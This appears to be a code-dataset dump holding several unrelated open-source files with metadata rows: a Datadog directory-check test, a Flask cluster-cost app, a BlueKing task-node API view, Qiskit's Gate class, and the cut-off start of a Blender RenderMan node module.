# (C) Datadog, Inc. 2010-2017 # All rights reserved # Licensed under Simplified BSD License (see LICENSE) # stdlib from itertools import product import os import shutil import tempfile # 3p from nose.plugins.attrib import attr # project from tests.checks.common import AgentCheckTest @attr(requires="directory") class DirectoryTestCase(AgentCheckTest): CHECK_NAME = 'directory' FILE_METRICS = [ "system.disk.directory.file.bytes", "system.disk.directory.file.modified_sec_ago", "system.disk.directory.file.created_sec_ago" ] HISTOGRAM_SUFFIXES = ['count', '95percentile', 'max', 'median', 'avg'] DIRECTORY_METRICS = [i1 + "." + i2 for i1, i2 in product([ "system.disk.directory.file.bytes", "system.disk.directory.file.modified_sec_ago", "system.disk.directory.file.created_sec_ago" ], HISTOGRAM_SUFFIXES)] COMMON_METRICS = [ "system.disk.directory.files", "system.disk.directory.bytes" ] @staticmethod def get_config_stubs(dir_name, filegauges=False): """ Helper to generate configs from a directory name """ return [ { 'directory': dir_name, 'filegauges': filegauges }, { 'directory': dir_name, 'name': "my_beloved_directory", 'filegauges': filegauges }, { 'directory': dir_name, 'dirtagname': "directory_custom_tagname", 'filegauges': filegauges }, { 'directory': dir_name, 'filetagname': "file_custom_tagname", 'filegauges': filegauges }, { 'directory': dir_name, 'dirtagname': "recursive_check", 'recursive': True, 'filegauges': filegauges }, { 'directory': dir_name, 'dirtagname': "glob_pattern_check", 'pattern': "*.log", 'filegauges': filegauges }, { 'directory': dir_name, 'dirtagname': "relative_pattern_check", 'pattern': "file_*", 'filegauges': filegauges } ] def setUp(self): """ Generate a directory with a file structure for tests """ self.temp_dir = tempfile.mkdtemp() # Create 10 files for i in xrange(0, 10): open(self.temp_dir + "/file_" + str(i), 'a').close() # Add 2 '.log' files open(self.temp_dir + "/log_1.log", 'a').close() open(self.temp_dir + "/log_2.log", 'a').close() # Create a subfolder and generate files into it os.makedirs(str(self.temp_dir) + "/subfolder") # Create 5 subfiles for i in xrange(0, 5): open(self.temp_dir + "/subfolder" + '/file_' + str(i), 'a').close() def tearDown(self): shutil.rmtree(self.temp_dir) def test_directory_metrics(self): """ Directory metric coverage """ config_stubs = self.get_config_stubs(self.temp_dir) countonly_stubs = self.get_config_stubs(self.temp_dir) # Try all the configurations in countonly mode as well for stub in countonly_stubs: stub['countonly'] = True config = { 'instances': config_stubs + countonly_stubs } self.run_check(config) for config in config_stubs: dirtagname = config.get('dirtagname', "name") name = config.get('name', self.temp_dir) dir_tags = [dirtagname + ":%s" % name] # Directory metrics for mname in (self.DIRECTORY_METRICS + self.COMMON_METRICS): self.assertMetric(mname, tags=dir_tags, count=1) # 'recursive' and 'pattern' parameters if config.get('pattern') == "*.log": # 2 '*.log' files in 'temp_dir' self.assertMetric("system.disk.directory.files", tags=dir_tags, count=1, value=2) elif config.get('pattern') == "file_*": # 10 'file_*' files in 'temp_dir' self.assertMetric("system.disk.directory.files", tags=dir_tags, count=1, value=10) elif config.get('recursive'): # 12 files in 'temp_dir' + 5 files in 'tempdir/subfolder' self.assertMetric("system.disk.directory.files", tags=dir_tags, count=1, value=17) else: # 12 files in 'temp_dir' self.assertMetric("system.disk.directory.files", tags=dir_tags, count=1, value=12) # Raises when coverage < 100% self.coverage_report() def test_file_metrics(self): """ File metric coverage """ config_stubs = self.get_config_stubs(self.temp_dir, filegauges=True) config = { 'instances': config_stubs } self.run_check(config) for config in config_stubs: dirtagname = config.get('dirtagname', "name") name = config.get('name', self.temp_dir) filetagname = config.get('filetagname', "filename") dir_tags = [dirtagname + ":%s" % name] # File metrics for mname in self.FILE_METRICS: if config.get('pattern') != "file_*": # 2 '*.log' files in 'temp_dir' for i in xrange(1, 3): file_tag = [filetagname + ":%s" % os.path.normpath(self.temp_dir + "/log_" + str(i) + ".log")] self.assertMetric(mname, tags=dir_tags + file_tag, count=1) if config.get('pattern') != "*.log": # Files in 'temp_dir' for i in xrange(0, 10): file_tag = [filetagname + ":%s" % os.path.normpath(self.temp_dir + "/file_" + str(i))] self.assertMetric(mname, tags=dir_tags + file_tag, count=1) if not config.get('pattern'): # Files in 'temp_dir/subfolder' if config.get('recursive'): for i in xrange(0, 5): file_tag = [filetagname + ":%s" % os.path.normpath(self.temp_dir + "/subfolder" + "/file_" + str(i))] self.assertMetric(mname, tags=dir_tags + file_tag, count=1) # Common metrics for mname in self.COMMON_METRICS: self.assertMetric(mname, tags=dir_tags, count=1) # Raises when coverage < 100% self.coverage_report() def test_non_existent_directory(self): """ Missing or inaccessible directory coverage. """ config = {'instances': [{'directory': '/non-existent/directory'}]} self.assertRaises(Exception, lambda: self.run_check(config)) def test_non_existent_directory_ignore_missing(self): config = { 'instances': [ {'directory': '/non-existent/directory', 'ignore_missing': True} ] } self.run_check(config)
34.719807
129
0.542507
from itertools import product import os import shutil import tempfile from nose.plugins.attrib import attr from tests.checks.common import AgentCheckTest @attr(requires="directory") class DirectoryTestCase(AgentCheckTest): CHECK_NAME = 'directory' FILE_METRICS = [ "system.disk.directory.file.bytes", "system.disk.directory.file.modified_sec_ago", "system.disk.directory.file.created_sec_ago" ] HISTOGRAM_SUFFIXES = ['count', '95percentile', 'max', 'median', 'avg'] DIRECTORY_METRICS = [i1 + "." + i2 for i1, i2 in product([ "system.disk.directory.file.bytes", "system.disk.directory.file.modified_sec_ago", "system.disk.directory.file.created_sec_ago" ], HISTOGRAM_SUFFIXES)] COMMON_METRICS = [ "system.disk.directory.files", "system.disk.directory.bytes" ] @staticmethod def get_config_stubs(dir_name, filegauges=False): return [ { 'directory': dir_name, 'filegauges': filegauges }, { 'directory': dir_name, 'name': "my_beloved_directory", 'filegauges': filegauges }, { 'directory': dir_name, 'dirtagname': "directory_custom_tagname", 'filegauges': filegauges }, { 'directory': dir_name, 'filetagname': "file_custom_tagname", 'filegauges': filegauges }, { 'directory': dir_name, 'dirtagname': "recursive_check", 'recursive': True, 'filegauges': filegauges }, { 'directory': dir_name, 'dirtagname': "glob_pattern_check", 'pattern': "*.log", 'filegauges': filegauges }, { 'directory': dir_name, 'dirtagname': "relative_pattern_check", 'pattern': "file_*", 'filegauges': filegauges } ] def setUp(self): self.temp_dir = tempfile.mkdtemp() for i in xrange(0, 10): open(self.temp_dir + "/file_" + str(i), 'a').close() open(self.temp_dir + "/log_1.log", 'a').close() open(self.temp_dir + "/log_2.log", 'a').close() os.makedirs(str(self.temp_dir) + "/subfolder") for i in xrange(0, 5): open(self.temp_dir + "/subfolder" + '/file_' + str(i), 'a').close() def tearDown(self): shutil.rmtree(self.temp_dir) def test_directory_metrics(self): config_stubs = self.get_config_stubs(self.temp_dir) countonly_stubs = self.get_config_stubs(self.temp_dir) for stub in countonly_stubs: stub['countonly'] = True config = { 'instances': config_stubs + countonly_stubs } self.run_check(config) for config in config_stubs: dirtagname = config.get('dirtagname', "name") name = config.get('name', self.temp_dir) dir_tags = [dirtagname + ":%s" % name] for mname in (self.DIRECTORY_METRICS + self.COMMON_METRICS): self.assertMetric(mname, tags=dir_tags, count=1) if config.get('pattern') == "*.log": self.assertMetric("system.disk.directory.files", tags=dir_tags, count=1, value=2) elif config.get('pattern') == "file_*": self.assertMetric("system.disk.directory.files", tags=dir_tags, count=1, value=10) elif config.get('recursive'): self.assertMetric("system.disk.directory.files", tags=dir_tags, count=1, value=17) else: self.assertMetric("system.disk.directory.files", tags=dir_tags, count=1, value=12) self.coverage_report() def test_file_metrics(self): config_stubs = self.get_config_stubs(self.temp_dir, filegauges=True) config = { 'instances': config_stubs } self.run_check(config) for config in config_stubs: dirtagname = config.get('dirtagname', "name") name = config.get('name', self.temp_dir) filetagname = config.get('filetagname', "filename") dir_tags = [dirtagname + ":%s" % name] for mname in self.FILE_METRICS: if config.get('pattern') != "file_*": for i in xrange(1, 3): file_tag = [filetagname + ":%s" % os.path.normpath(self.temp_dir + "/log_" + str(i) + ".log")] self.assertMetric(mname, tags=dir_tags + file_tag, count=1) if config.get('pattern') != "*.log": for i in xrange(0, 10): file_tag = [filetagname + ":%s" % os.path.normpath(self.temp_dir + "/file_" + str(i))] self.assertMetric(mname, tags=dir_tags + file_tag, count=1) if not config.get('pattern'): if config.get('recursive'): for i in xrange(0, 5): file_tag = [filetagname + ":%s" % os.path.normpath(self.temp_dir + "/subfolder" + "/file_" + str(i))] self.assertMetric(mname, tags=dir_tags + file_tag, count=1) for mname in self.COMMON_METRICS: self.assertMetric(mname, tags=dir_tags, count=1) self.coverage_report() def test_non_existent_directory(self): config = {'instances': [{'directory': '/non-existent/directory'}]} self.assertRaises(Exception, lambda: self.run_check(config)) def test_non_existent_directory_ignore_missing(self): config = { 'instances': [ {'directory': '/non-existent/directory', 'ignore_missing': True} ] } self.run_check(config)
true
true
f71f109340281960f4a1eab70708c99eb03b0e54
2,227
py
Python
app.py
kush95300/Cluster-Maker
886b424df2f73890ead47091d38a6008fedc0391
[ "MIT" ]
null
null
null
app.py
kush95300/Cluster-Maker
886b424df2f73890ead47091d38a6008fedc0391
[ "MIT" ]
null
null
null
app.py
kush95300/Cluster-Maker
886b424df2f73890ead47091d38a6008fedc0391
[ "MIT" ]
null
null
null
from flask import Flask, render_template from flask import request from random import randint app = Flask("Cluster Maker") @app.route("/") def home(): print("cluster ") #return "Cluster Maker" return render_template("index.html") @app.route("/setdefault") def setdefaults(): return render_template("default.html") @app.route("/selectpage") def slectpage(): return render_template("selectpage.html") @app.route("/createdefaultcluster") def defaultsclustermaker(): return "Creating Default Cluster" @app.route("/createadvancecluster") def advanceclustermaker(): return render_template("advanceform.html") @app.route("/defaultcost") def defaultcost(): return "Default cost Output" @app.route("/login") def accountauth(): return "login Page" @app.route("/signup") def createaccount(): return "Signup Page" @app.route("/findcost") def findcost(): return render_template("cost_analyser.html") @app.route("/chooseform") def chooseform(): return render_template("choice.html") @app.route("/defaultdone") def defaultdone(): return render_template("defaultdone.html") @app.route("/costanalysis") def analysecost(): nn = request.args.get("nn_instance_type") dn = request.args.get("dn_instance_type") jt = request.args.get("jt_instance_type") tt = request.args.get("tt_instance_type") dnc = request.args.get("dn_count") ttc = request.args.get("tt_count") ebs = request.args.get("ebs") if ebs == "yes": size = request.args.get("ebssize") else: size=0 usr_m = (int(dnc) + int(ttc) +2) * 0.5 + int(size) * 0.1 inr_m = usr_m*73 return " data : Cost Analysis {} {} {} {} {} {} {} {} <br> <br> Total Cost: {} $ or Rs {} ".format(nn,dn,dnc,jt,tt,ttc,ebs,size,usr_m,inr_m) @app.route("/defaultform") def defaultform(): print("Default Form") return "Default Form" @app.route("/advanceform") def advanceform(): print("Advance Form") return "Advance Form" def sendotpmail(otp,email): #ansible mail print("send mail") @app.route("/loginotp") def getotp(): otp=randint(100000,999999) email = request.args.get("email") sendotpmail(otp,email) return "ok"
21.621359
145
0.662775
from flask import Flask, render_template from flask import request from random import randint app = Flask("Cluster Maker") @app.route("/") def home(): print("cluster ") return render_template("index.html") @app.route("/setdefault") def setdefaults(): return render_template("default.html") @app.route("/selectpage") def slectpage(): return render_template("selectpage.html") @app.route("/createdefaultcluster") def defaultsclustermaker(): return "Creating Default Cluster" @app.route("/createadvancecluster") def advanceclustermaker(): return render_template("advanceform.html") @app.route("/defaultcost") def defaultcost(): return "Default cost Output" @app.route("/login") def accountauth(): return "login Page" @app.route("/signup") def createaccount(): return "Signup Page" @app.route("/findcost") def findcost(): return render_template("cost_analyser.html") @app.route("/chooseform") def chooseform(): return render_template("choice.html") @app.route("/defaultdone") def defaultdone(): return render_template("defaultdone.html") @app.route("/costanalysis") def analysecost(): nn = request.args.get("nn_instance_type") dn = request.args.get("dn_instance_type") jt = request.args.get("jt_instance_type") tt = request.args.get("tt_instance_type") dnc = request.args.get("dn_count") ttc = request.args.get("tt_count") ebs = request.args.get("ebs") if ebs == "yes": size = request.args.get("ebssize") else: size=0 usr_m = (int(dnc) + int(ttc) +2) * 0.5 + int(size) * 0.1 inr_m = usr_m*73 return " data : Cost Analysis {} {} {} {} {} {} {} {} <br> <br> Total Cost: {} $ or Rs {} ".format(nn,dn,dnc,jt,tt,ttc,ebs,size,usr_m,inr_m) @app.route("/defaultform") def defaultform(): print("Default Form") return "Default Form" @app.route("/advanceform") def advanceform(): print("Advance Form") return "Advance Form" def sendotpmail(otp,email): print("send mail") @app.route("/loginotp") def getotp(): otp=randint(100000,999999) email = request.args.get("email") sendotpmail(otp,email) return "ok"
true
true
f71f11c73d6da48e9a1284e15653009b6016156b
2,334
py
Python
gcloud/apigw/views/get_task_node_data.py
wkma/bk-sops
8fb5609c0c4495c28d588fbafa9d9f5f2976929b
[ "Apache-2.0" ]
881
2019-03-25T02:45:42.000Z
2022-03-30T09:10:49.000Z
gcloud/apigw/views/get_task_node_data.py
wkma/bk-sops
8fb5609c0c4495c28d588fbafa9d9f5f2976929b
[ "Apache-2.0" ]
3,303
2019-03-25T04:18:03.000Z
2022-03-31T11:52:03.000Z
gcloud/apigw/views/get_task_node_data.py
wkma/bk-sops
8fb5609c0c4495c28d588fbafa9d9f5f2976929b
[ "Apache-2.0" ]
395
2019-03-25T02:53:36.000Z
2022-03-31T08:37:28.000Z
# -*- coding: utf-8 -*- """ Tencent is pleased to support the open source community by making 蓝鲸智云PaaS平台社区版 (BlueKing PaaS Community Edition) available. Copyright (C) 2017-2021 THL A29 Limited, a Tencent company. All rights reserved. Licensed under the MIT License (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://opensource.org/licenses/MIT Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ import ujson as json from django.views.decorators.csrf import csrf_exempt from django.views.decorators.http import require_GET from blueapps.account.decorators import login_exempt from gcloud import err_code from gcloud.apigw.decorators import mark_request_whether_is_trust from gcloud.apigw.decorators import project_inject from gcloud.taskflow3.models import TaskFlowInstance from gcloud.iam_auth.intercept import iam_intercept from gcloud.iam_auth.view_interceptors.apigw import TaskViewInterceptor from packages.bkoauth.decorators import apigw_required @login_exempt @csrf_exempt @require_GET @apigw_required @mark_request_whether_is_trust @project_inject @iam_intercept(TaskViewInterceptor()) def get_task_node_data(request, task_id, project_id): project = request.project task = TaskFlowInstance.objects.get(id=task_id, project_id=project.id) node_id = request.GET.get("node_id") component_code = request.GET.get("component_code") loop = request.GET.get("loop") try: subprocess_stack = json.loads(request.GET.get("subprocess_stack", "[]")) except Exception: return { "result": False, "message": "subprocess_stack is not a valid array json", "code": err_code.REQUEST_PARAM_INVALID.code, } data = task.get_node_data(node_id, request.user.username, component_code, subprocess_stack, loop) return { "result": data["result"], "data": data["data"], "message": data["message"], "code": err_code.SUCCESS.code if data["result"] else err_code.UNKNOWN_ERROR.code, }
38.262295
115
0.758783
import ujson as json from django.views.decorators.csrf import csrf_exempt from django.views.decorators.http import require_GET from blueapps.account.decorators import login_exempt from gcloud import err_code from gcloud.apigw.decorators import mark_request_whether_is_trust from gcloud.apigw.decorators import project_inject from gcloud.taskflow3.models import TaskFlowInstance from gcloud.iam_auth.intercept import iam_intercept from gcloud.iam_auth.view_interceptors.apigw import TaskViewInterceptor from packages.bkoauth.decorators import apigw_required @login_exempt @csrf_exempt @require_GET @apigw_required @mark_request_whether_is_trust @project_inject @iam_intercept(TaskViewInterceptor()) def get_task_node_data(request, task_id, project_id): project = request.project task = TaskFlowInstance.objects.get(id=task_id, project_id=project.id) node_id = request.GET.get("node_id") component_code = request.GET.get("component_code") loop = request.GET.get("loop") try: subprocess_stack = json.loads(request.GET.get("subprocess_stack", "[]")) except Exception: return { "result": False, "message": "subprocess_stack is not a valid array json", "code": err_code.REQUEST_PARAM_INVALID.code, } data = task.get_node_data(node_id, request.user.username, component_code, subprocess_stack, loop) return { "result": data["result"], "data": data["data"], "message": data["message"], "code": err_code.SUCCESS.code if data["result"] else err_code.UNKNOWN_ERROR.code, }
true
true
f71f11e951868b67b7b2bbf023a64e9a2659dfc5
10,076
py
Python
qiskit/circuit/gate.py
ntgiwsvp/qiskit-terra
206b8bcc930817d88f8244f7b984880aecde959d
[ "Apache-2.0" ]
null
null
null
qiskit/circuit/gate.py
ntgiwsvp/qiskit-terra
206b8bcc930817d88f8244f7b984880aecde959d
[ "Apache-2.0" ]
null
null
null
qiskit/circuit/gate.py
ntgiwsvp/qiskit-terra
206b8bcc930817d88f8244f7b984880aecde959d
[ "Apache-2.0" ]
null
null
null
# This code is part of Qiskit. # # (C) Copyright IBM 2017. # # This code is licensed under the Apache License, Version 2.0. You may # obtain a copy of this license in the LICENSE.txt file in the root directory # of this source tree or at http://www.apache.org/licenses/LICENSE-2.0. # # Any modifications or derivative works of this code must retain this # copyright notice, and modified files need to carry a notice indicating # that they have been altered from the originals. """Unitary gate.""" from warnings import warn from typing import List, Optional, Union, Tuple import numpy as np from scipy.linalg import schur from qiskit.circuit.parameter import ParameterExpression from qiskit.circuit.exceptions import CircuitError from .instruction import Instruction class Gate(Instruction): """Unitary gate.""" def __init__(self, name: str, num_qubits: int, params: List, label: Optional[str] = None) -> None: """Create a new gate. Args: name: The Qobj name of the gate. num_qubits: The number of qubits the gate acts on. params: A list of parameters. label: An optional label for the gate. """ self._label = label self.definition = None super().__init__(name, num_qubits, 0, params) # Set higher priority than Numpy array and matrix classes __array_priority__ = 20 def to_matrix(self) -> np.ndarray: """Return a Numpy.array for the gate unitary matrix. Returns: np.ndarray: if the Gate subclass has a matrix defintion. Raises: CircuitError: If a Gate subclass does not implement this method an exception will be raised when this base class method is called. """ if hasattr(self, '__array__'): # pylint: disable=no-member return self.__array__(dtype=complex) raise CircuitError("to_matrix not defined for this {}".format(type(self))) def power(self, exponent: float): """Creates a unitary gate as `gate^exponent`. Args: exponent (float): Gate^exponent Returns: qiskit.extensions.UnitaryGate: To which `to_matrix` is self.to_matrix^exponent. Raises: CircuitError: If Gate is not unitary """ from qiskit.quantum_info.operators import Operator # pylint: disable=cyclic-import from qiskit.extensions.unitary import UnitaryGate # pylint: disable=cyclic-import # Should be diagonalized because it's a unitary. decomposition, unitary = schur(Operator(self).data, output='complex') # Raise the diagonal entries to the specified power decomposition_power = list() decomposition_diagonal = decomposition.diagonal() # assert off-diagonal are 0 if not np.allclose(np.diag(decomposition_diagonal), decomposition): raise CircuitError('The matrix is not diagonal') for element in decomposition_diagonal: decomposition_power.append(pow(element, exponent)) # Then reconstruct the resulting gate. unitary_power = unitary @ np.diag(decomposition_power) @ unitary.conj().T return UnitaryGate(unitary_power, label='%s^%s' % (self.name, exponent)) def _return_repeat(self, exponent: float) -> 'Gate': return Gate(name="%s*%s" % (self.name, exponent), num_qubits=self.num_qubits, params=self.params) def assemble(self) -> 'Instruction': """Assemble a QasmQobjInstruction""" instruction = super().assemble() if self.label: instruction.label = self.label return instruction @property def label(self) -> str: """Return gate label""" return self._label @label.setter def label(self, name: str): """Set gate label to name Args: name (str or None): label to assign unitary Raises: TypeError: name is not string or None. """ if isinstance(name, (str, type(None))): self._label = name else: raise TypeError('label expects a string or None') def control(self, num_ctrl_qubits: Optional[int] = 1, label: Optional[str] = None, ctrl_state: Optional[Union[int, str]] = None): """Return controlled version of gate. See :class:`.ControlledGate` for usage. Args: num_ctrl_qubits: number of controls to add to gate (default=1) label: optional gate label ctrl_state: The control state in decimal or as a bitstring (e.g. '111'). If None, use 2**num_ctrl_qubits-1. Returns: qiskit.circuit.ControlledGate: Controlled version of gate. This default algorithm uses num_ctrl_qubits-1 ancillae qubits so returns a gate of size num_qubits + 2*num_ctrl_qubits - 1. Raises: QiskitError: unrecognized mode or invalid ctrl_state """ # pylint: disable=cyclic-import from .add_control import add_control return add_control(self, num_ctrl_qubits, label, ctrl_state) @staticmethod def _broadcast_single_argument(qarg: List) -> List: """Expands a single argument. For example: [q[0], q[1]] -> [q[0]], [q[1]] """ # [q[0], q[1]] -> [q[0]] # -> [q[1]] for arg0 in qarg: yield [arg0], [] @staticmethod def _broadcast_2_arguments(qarg0: List, qarg1: List) -> List: if len(qarg0) == len(qarg1): # [[q[0], q[1]], [r[0], r[1]]] -> [q[0], r[0]] # -> [q[1], r[1]] for arg0, arg1 in zip(qarg0, qarg1): yield [arg0, arg1], [] elif len(qarg0) == 1: # [[q[0]], [r[0], r[1]]] -> [q[0], r[0]] # -> [q[0], r[1]] for arg1 in qarg1: yield [qarg0[0], arg1], [] elif len(qarg1) == 1: # [[q[0], q[1]], [r[0]]] -> [q[0], r[0]] # -> [q[1], r[0]] for arg0 in qarg0: yield [arg0, qarg1[0]], [] else: raise CircuitError('Not sure how to combine these two-qubit arguments:\n %s\n %s' % (qarg0, qarg1)) @staticmethod def _broadcast_3_or_more_args(qargs: List) -> List: if all(len(qarg) == len(qargs[0]) for qarg in qargs): for arg in zip(*qargs): yield list(arg), [] else: raise CircuitError( 'Not sure how to combine these qubit arguments:\n %s\n' % qargs) def broadcast_arguments(self, qargs: List, cargs: List) -> Tuple[List, List]: """Validation and handling of the arguments and its relationship. For example, ``cx([q[0],q[1]], q[2])`` means ``cx(q[0], q[2]); cx(q[1], q[2])``. This method yields the arguments in the right grouping. In the given example:: in: [[q[0],q[1]], q[2]],[] outs: [q[0], q[2]], [] [q[1], q[2]], [] The general broadcasting rules are: * If len(qargs) == 1:: [q[0], q[1]] -> [q[0]],[q[1]] * If len(qargs) == 2:: [[q[0], q[1]], [r[0], r[1]]] -> [q[0], r[0]], [q[1], r[1]] [[q[0]], [r[0], r[1]]] -> [q[0], r[0]], [q[0], r[1]] [[q[0], q[1]], [r[0]]] -> [q[0], r[0]], [q[1], r[0]] * If len(qargs) >= 3:: [q[0], q[1]], [r[0], r[1]], ...] -> [q[0], r[0], ...], [q[1], r[1], ...] Args: qargs: List of quantum bit arguments. cargs: List of classical bit arguments. Returns: A tuple with single arguments. Raises: CircuitError: If the input is not valid. For example, the number of arguments does not match the gate expectation. """ if len(qargs) != self.num_qubits or cargs: raise CircuitError( 'The amount of qubit/clbit arguments does not match the gate expectation.') if any([not qarg for qarg in qargs]): raise CircuitError('One or more of the arguments are empty') if len(qargs) == 1: return Gate._broadcast_single_argument(qargs[0]) elif len(qargs) == 2: return Gate._broadcast_2_arguments(qargs[0], qargs[1]) elif len(qargs) >= 3: return Gate._broadcast_3_or_more_args(qargs) else: raise CircuitError('This gate cannot handle %i arguments' % len(qargs)) def validate_parameter(self, parameter): """Gate parameters should be int, float, or ParameterExpression""" if isinstance(parameter, ParameterExpression): if len(parameter.parameters) > 0: return parameter # expression has free parameters, we cannot validate it if not parameter._symbol_expr.is_real: raise CircuitError("Bound parameter expression is complex in gate {}".format( self.name)) return parameter # per default assume parameters must be real when bound if isinstance(parameter, (int, float)): return parameter elif isinstance(parameter, (np.integer, np.floating)): return parameter.item() elif isinstance(parameter, np.ndarray): warn("Gate param type %s is being deprecated as of 0.16.0, and will be removed " "no earlier than 3 months after that release date. " "Considering creating your own Gate subclass with the method validate_parameter " " to allow this param type." % type(parameter), DeprecationWarning, 3) return parameter else: raise CircuitError("Invalid param type {0} for gate {1}.".format(type(parameter), self.name))
38.903475
98
0.568678
from warnings import warn from typing import List, Optional, Union, Tuple import numpy as np from scipy.linalg import schur from qiskit.circuit.parameter import ParameterExpression from qiskit.circuit.exceptions import CircuitError from .instruction import Instruction class Gate(Instruction): def __init__(self, name: str, num_qubits: int, params: List, label: Optional[str] = None) -> None: self._label = label self.definition = None super().__init__(name, num_qubits, 0, params) __array_priority__ = 20 def to_matrix(self) -> np.ndarray: if hasattr(self, '__array__'): return self.__array__(dtype=complex) raise CircuitError("to_matrix not defined for this {}".format(type(self))) def power(self, exponent: float): from qiskit.quantum_info.operators import Operator from qiskit.extensions.unitary import UnitaryGate decomposition, unitary = schur(Operator(self).data, output='complex') # Raise the diagonal entries to the specified power decomposition_power = list() decomposition_diagonal = decomposition.diagonal() # assert off-diagonal are 0 if not np.allclose(np.diag(decomposition_diagonal), decomposition): raise CircuitError('The matrix is not diagonal') for element in decomposition_diagonal: decomposition_power.append(pow(element, exponent)) # Then reconstruct the resulting gate. unitary_power = unitary @ np.diag(decomposition_power) @ unitary.conj().T return UnitaryGate(unitary_power, label='%s^%s' % (self.name, exponent)) def _return_repeat(self, exponent: float) -> 'Gate': return Gate(name="%s*%s" % (self.name, exponent), num_qubits=self.num_qubits, params=self.params) def assemble(self) -> 'Instruction': instruction = super().assemble() if self.label: instruction.label = self.label return instruction @property def label(self) -> str: return self._label @label.setter def label(self, name: str): if isinstance(name, (str, type(None))): self._label = name else: raise TypeError('label expects a string or None') def control(self, num_ctrl_qubits: Optional[int] = 1, label: Optional[str] = None, ctrl_state: Optional[Union[int, str]] = None): # pylint: disable=cyclic-import from .add_control import add_control return add_control(self, num_ctrl_qubits, label, ctrl_state) @staticmethod def _broadcast_single_argument(qarg: List) -> List: # [q[0], q[1]] -> [q[0]] # -> [q[1]] for arg0 in qarg: yield [arg0], [] @staticmethod def _broadcast_2_arguments(qarg0: List, qarg1: List) -> List: if len(qarg0) == len(qarg1): # [[q[0], q[1]], [r[0], r[1]]] -> [q[0], r[0]] # -> [q[1], r[1]] for arg0, arg1 in zip(qarg0, qarg1): yield [arg0, arg1], [] elif len(qarg0) == 1: # [[q[0]], [r[0], r[1]]] -> [q[0], r[0]] # -> [q[0], r[1]] for arg1 in qarg1: yield [qarg0[0], arg1], [] elif len(qarg1) == 1: # [[q[0], q[1]], [r[0]]] -> [q[0], r[0]] # -> [q[1], r[0]] for arg0 in qarg0: yield [arg0, qarg1[0]], [] else: raise CircuitError('Not sure how to combine these two-qubit arguments:\n %s\n %s' % (qarg0, qarg1)) @staticmethod def _broadcast_3_or_more_args(qargs: List) -> List: if all(len(qarg) == len(qargs[0]) for qarg in qargs): for arg in zip(*qargs): yield list(arg), [] else: raise CircuitError( 'Not sure how to combine these qubit arguments:\n %s\n' % qargs) def broadcast_arguments(self, qargs: List, cargs: List) -> Tuple[List, List]: if len(qargs) != self.num_qubits or cargs: raise CircuitError( 'The amount of qubit/clbit arguments does not match the gate expectation.') if any([not qarg for qarg in qargs]): raise CircuitError('One or more of the arguments are empty') if len(qargs) == 1: return Gate._broadcast_single_argument(qargs[0]) elif len(qargs) == 2: return Gate._broadcast_2_arguments(qargs[0], qargs[1]) elif len(qargs) >= 3: return Gate._broadcast_3_or_more_args(qargs) else: raise CircuitError('This gate cannot handle %i arguments' % len(qargs)) def validate_parameter(self, parameter): if isinstance(parameter, ParameterExpression): if len(parameter.parameters) > 0: return parameter # expression has free parameters, we cannot validate it if not parameter._symbol_expr.is_real: raise CircuitError("Bound parameter expression is complex in gate {}".format( self.name)) return parameter # per default assume parameters must be real when bound if isinstance(parameter, (int, float)): return parameter elif isinstance(parameter, (np.integer, np.floating)): return parameter.item() elif isinstance(parameter, np.ndarray): warn("Gate param type %s is being deprecated as of 0.16.0, and will be removed " "no earlier than 3 months after that release date. " "Considering creating your own Gate subclass with the method validate_parameter " " to allow this param type." % type(parameter), DeprecationWarning, 3) return parameter else: raise CircuitError("Invalid param type {0} for gate {1}.".format(type(parameter), self.name))
true
true
f71f1355b6da4b3a6ca66001c03db66ddef1e71c
95,602
py
Python
nodes.py
elrnv/RenderManForBlender
ca6b2ce1fb8b9e4acb893dfe640067c1beaa3c36
[ "MIT" ]
null
null
null
nodes.py
elrnv/RenderManForBlender
ca6b2ce1fb8b9e4acb893dfe640067c1beaa3c36
[ "MIT" ]
null
null
null
nodes.py
elrnv/RenderManForBlender
ca6b2ce1fb8b9e4acb893dfe640067c1beaa3c36
[ "MIT" ]
null
null
null
# ##### BEGIN MIT LICENSE BLOCK ##### # # Copyright (c) 2015 - 2017 Pixar # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. # # # ##### END MIT LICENSE BLOCK ##### import bpy import _cycles from bpy.app.handlers import persistent import xml.etree.ElementTree as ET import tempfile import nodeitems_utils import shutil from bpy.props import * from nodeitems_utils import NodeCategory, NodeItem from .shader_parameters import class_generate_properties from .shader_parameters import node_add_inputs from .shader_parameters import node_add_outputs from .shader_parameters import socket_map from .shader_parameters import txmake_options, update_conditional_visops from .util import args_files_in_path from .util import get_path_list from .util import rib from .util import debug from .util import user_path from .util import get_real_path from .util import readOSO from .cycles_convert import * from operator import attrgetter, itemgetter import os.path from time import sleep import traceback NODE_LAYOUT_SPLIT = 0.5 group_nodes = ['ShaderNodeGroup', 'NodeGroupInput', 'NodeGroupOutput'] # Default Types # update node during ipr for a socket default_value def update_func(self, context): # check if this prop is set on an input node = self.node if hasattr(self, 'node') else self from . import engine if engine.is_ipr_running(): engine.ipr.issue_shader_edits(node=node) # socket name corresponds to the param on the node class RendermanSocket: ui_open: BoolProperty(name='UI Open', default=True) def get_pretty_name(self, node): if node.bl_idname in group_nodes: return self.name else: return self.identifier def get_value(self, node): if node.bl_idname in group_nodes or not hasattr(node, self.name): return self.default_value else: return getattr(node, self.name) def draw_color(self, context, node): return (0.25, 1.0, 0.25, 1.0) def draw_value(self, context, 